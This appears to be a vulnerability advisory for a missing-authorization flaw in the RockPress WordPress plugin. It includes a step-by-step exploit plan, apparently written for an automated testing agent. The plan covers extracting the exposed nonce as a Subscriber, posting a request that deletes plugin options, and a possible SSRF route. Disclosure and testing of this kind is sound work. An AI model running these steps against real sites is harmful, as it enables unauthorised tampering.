RockPress <= 1.0.17 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via AJAX Actions
Description
The RockPress plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.17. This is due to missing capability checks on multiple AJAX actions (rockpress_import, rockpress_import_status, rockpress_last_import, rockpress_reset_import, and rockpress_check_services) combined with the plugin's nonce being exposed to all authenticated users via an unconditionally enqueued admin script. The plugin enqueues the 'rockpress-admin' script on all admin pages (including profile.php) without any page or capability restrictions, and the nonce for the 'rockpress-nonce' action is passed to this script via wp_localize_script. Since the AJAX handlers only verify this nonce and do not check current_user_can(), any authenticated user, including Subscribers, can extract the nonce from any admin page's HTML source and use it to trigger imports, reset import data (deleting options), check service connectivity, and read import status information. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger resource-intensive import operations, reset import tracking data, and perform system connection checks that should be restricted to administrators.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.17What Changed in the Fix
Changes introduced in v1.0.18
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-3550 (RockPress Arbitrary Modification) ## 1. Vulnerability Summary RockPress (<= 1.0.17) contains multiple missing authorization vulnerabilities in its AJAX handlers. The plugin fails to perform capability checks (e.g., `current_user_can()`) in five sensitiv…
Show full research plan
Vulnerability Research Plan: CVE-2026-3550 (RockPress Arbitrary Modification)
1. Vulnerability Summary
RockPress (<= 1.0.17) contains multiple missing authorization vulnerabilities in its AJAX handlers. The plugin fails to perform capability checks (e.g., current_user_can()) in five sensitive AJAX actions, relying solely on nonce verification. However, the nonce required for these actions is unconditionally enqueued for all authenticated users on any admin page (including profile.php). This allows any authenticated user (Subscriber level and above) to trigger resource-intensive imports, read internal status, or delete plugin configuration options.
2. Attack Vector Analysis
- Endpoints:
/wp-admin/admin-ajax.php - AJAX Actions:
rockpress_check_services(connectivity test)rockpress_import(trigger background import)rockpress_import_status(read import progress)rockpress_last_import(read last import time)rockpress_reset_import(delete import configuration/status)
- Vulnerable Parameter:
nonce(required for verification) - Required Authentication: Any authenticated user (e.g., Subscriber).
- Preconditions: The plugin must be active and configured with some default options (to demonstrate modification).
3. Code Flow
- Nonce Exposure: In
includes/admin/admin-scripts.php, the classRockPress_Admin_Scriptshooks intoadmin_enqueue_scripts. Theenqueue()method callswp_enqueue_script( 'rockpress-admin', ... )without any capability or page checks. Thelocalize()method then useswp_localize_scriptto bind a nonce created with the action'rockpress-nonce'to the JavaScript variablerockpress_vars.nonce. - AJAX Registration: In
includes/class-rockpress-import.php, actions are registered forwp_ajax_rockpress_import,wp_ajax_rockpress_import_status,wp_ajax_rockpress_last_import, andwp_ajax_rockpress_reset_import. Inincludes/admin/admin-ajax.php, the actionwp_ajax_rockpress_check_servicesis registered. - Vulnerable Handler (Example:
ajax_reset_import):
The handler checks the nonce but lacks anypublic static function ajax_reset_import() { if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'rockpress-nonce' ) ) { die( esc_html__( 'Insufficient Permissions', 'ft-rockpress' ) ); } delete_option( 'rockpress_import_in_progress' ); delete_option( 'rockpress_current_import' ); delete_option( 'rockpress_last_import' ); // ... }current_user_can( 'manage_options' )check.
4. Nonce Acquisition Strategy
The nonce is localized in the rockpress_vars object on any admin page.
- Access: Log into the WordPress site as a Subscriber.
- Navigation: Navigate to
/wp-admin/profile.php. - Extraction: Use
browser_evalto extract the nonce from the global JavaScript scope.- JS Variable:
window.rockpress_vars - Nonce Key:
nonce - Command:
browser_eval("window.rockpress_vars?.nonce")
- JS Variable:
5. Exploitation Strategy
We will target rockpress_reset_import because it has a measurable impact: deleting existing options.
- Pre-Exploit Setup: Use WP-CLI to create a dummy import timestamp so there is something to delete.
- Authentication: Use
browser_navigateandbrowser_typeto log in as a Subscriber. - Nonce Extraction: Navigate to
/wp-admin/profile.phpand run thebrowser_evalcommand mentioned above. - The Attack: Send a POST request to
admin-ajax.phpusing thehttp_requesttool.- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rockpress_reset_import&nonce={{EXTRACTED_NONCE}}
- URL:
- Verification: Check if the target options have been deleted using WP-CLI.
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Set Dummy Options:
wp option update rockpress_last_import "2023-01-01 12:00:00" wp option update rockpress_import_in_progress "Test Import" - Ensure Plugin Settings: Ensure the plugin is active:
wp plugin activate ft-rockpress
7. Expected Results
- The AJAX request should return a
200 OKresponse. - The response body should contain the string
Never(fromesc_html_e( 'Never', 'rockpress' );inajax_reset_import). - The options
rockpress_last_importandrockpress_import_in_progressshould be removed from the database.
8. Verification Steps
- Check Options via WP-CLI:
wp option get rockpress_last_import --format=json wp option get rockpress_import_in_progress --format=json- Expected Outcome: Both should return an error or empty result indicating the option does not exist.
- Check Response Body: Verify the
http_requestoutput contains the textNever.
9. Alternative Approaches
If rockpress_reset_import fails to demonstrate the vulnerability convincingly, target rockpress_check_services:
- Action:
rockpress_check_services - Payload:
action=rockpress_check_services&nonce={{EXTRACTED_NONCE}} - Effect: This will trigger
RockPress()->rock->test(). While harder to verify via DB, if the Rock API URL is set to an attacker-controlled listener (e.g., viawp option update rockpress_rock_url), this results in SSRF. - Status Read: Target
rockpress_import_statusto leak the currentrockpress_import_in_progressoption value, which might contain sensitive status strings.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.